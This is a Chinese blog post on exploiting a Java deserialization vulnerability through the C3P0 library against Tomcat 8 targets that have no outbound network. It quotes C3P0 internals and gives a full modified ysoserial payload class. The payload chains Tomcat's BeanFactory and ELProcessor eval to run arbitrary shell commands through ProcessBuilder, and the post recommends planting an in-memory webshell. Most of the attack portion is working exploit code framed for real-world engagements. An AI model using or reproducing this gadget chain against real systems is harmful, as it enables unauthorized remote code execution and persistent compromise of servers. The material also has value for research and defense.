JAVA反序列化之C3P0不出网利用

C3P0是本人在实战环境中除CommonsCollections、CommonsBeanutiles以外遇到最多的JAR包,其中一部分C3P0是被org.quartz-scheduler:quartz所依赖进来的。
ysoserial中也提供了C3P0 Gadget, 利用方式为URLClassLoader加载远程class实例化实现代码执行, 因此带来了一个限制,需要目标能够出网。
近期在做一次测试的时候,发现了个反序列化漏洞环境为Tomcat8,尝试了常用的Gadget都不存在,使用C3P0时产生了DNS请求不过无HTTP请求,换了一些常见端口一样无HTTP请求导致无法利用,折腾了半天最后还是只能回去看看C3P0的代码。

C3P0 分析

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase

1
2
3
4
5
6
7
8
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
short version = ois.readShort();
switch(version) {
case 1:
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject();
}

com.mchange.v2.naming.ReferenceIndirector

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public Object getObject() throws ClassNotFoundException, IOException {
try {
InitialContext var1;
if (this.env == null) {
var1 = new InitialContext();
} else {
var1 = new InitialContext(this.env);
}

Context var2 = null;
if (this.contextName != null) {
var2 = (Context)var1.lookup(this.contextName);
}

// 利用点
return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);
} catch (NamingException var3) {
if (ReferenceIndirector.logger.isLoggable(MLevel.WARNING)) {
ReferenceIndirector.logger.log(MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", var3);
}

throw new InvalidObjectException("Failed to acquire the Context necessary to lookup an Object: " + var3.toString());
}
}

在getObject方法中,很明显可以JNDI注入,但是JNDI注入的限制条件比URLClassLoader加载远程class限制条件还多,不考虑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {
try {
String var4 = var0.getFactoryClassName();
String var11 = var0.getFactoryClassLocation();
ClassLoader var6 = Thread.currentThread().getContextClassLoader();
if (var6 == null) {
var6 = ReferenceableUtils.class.getClassLoader();
}

Object var7;
if (var11 == null) {
var7 = var6;
} else {
URL var8 = new URL(var11);
var7 = new URLClassLoader(new URL[]{var8}, var6);
}

Class var12 = Class.forName(var4, true, (ClassLoader)var7);
ObjectFactory var9 = (ObjectFactory)var12.newInstance();
return var9.getObjectInstance(var0, var1, var2, var3);
} catch (Exception var10) {
if (logger.isLoggable(MLevel.FINE)) {
logger.log(MLevel.FINE, "Could not resolve Reference to Object!", var10);
}

NamingException var5 = new NamingException("Could not resolve Reference to Object!");
var5.setRootCause(var10);
throw var5;
}
}

ysoserial中的利用就是通过referenceToObject方法URLClassloader加载远程class实现利用。
可以发现在referenceToObject方法中如果getFactoryClassLocation获取到的是null,就不会使用URLClassloader而是当前线程的ClassLoader,这意味着能够实例化WEB目录下的任意类。
​能够实例化任意类也很难找到利用点,不过在referenceToObject中可以发现它在实例化完指定类后,还会调用它的getObjectInstance方法,看到这个方法名立马就能想到以前JNDI注入 绕过trustCodebaseURL限制的方法(这里不再赘述,可参考 http://www.yulegeyu.com/2019/01/11/Exploitng-JNDI-Injection-In-Java/ ),通过Tomcat的getObjectInstance方法调用ELProcessor的eval方法实现表达式注入,刚好目标环境是Tomcat8按理是可以实现无网利用的。

​修改一下ysoserial中的原生C3P0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package ysoserial.payloads;


import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import org.apache.naming.ResourceRef;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
yulegeyu modified
*/
@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
@Authors({ Authors.MBECHLER })
public class C3P0Tomcat implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {

PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource("org.apache.naming.factory.BeanFactory", null));
return b;
}

private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

private String className;
private String url;

public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}

public Reference getReference () throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String cmd = "open -a calculator.app";
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','"+ cmd +"']).start()\")"));
return ref;
}

public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

}


public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(C3P0.class, args);
}

}

不出网时最好还是直接中一个内存马~

最后,市面上存在两个C3P0,com.mchange:c3p0、c3p0:c3p0。比较常见的是第一个,两个C3P0都能够利用但是因为SUID的原因需要稍微变化一下,黑盒反序列打第一个没反应时可以尝试下第二个,可能有惊喜~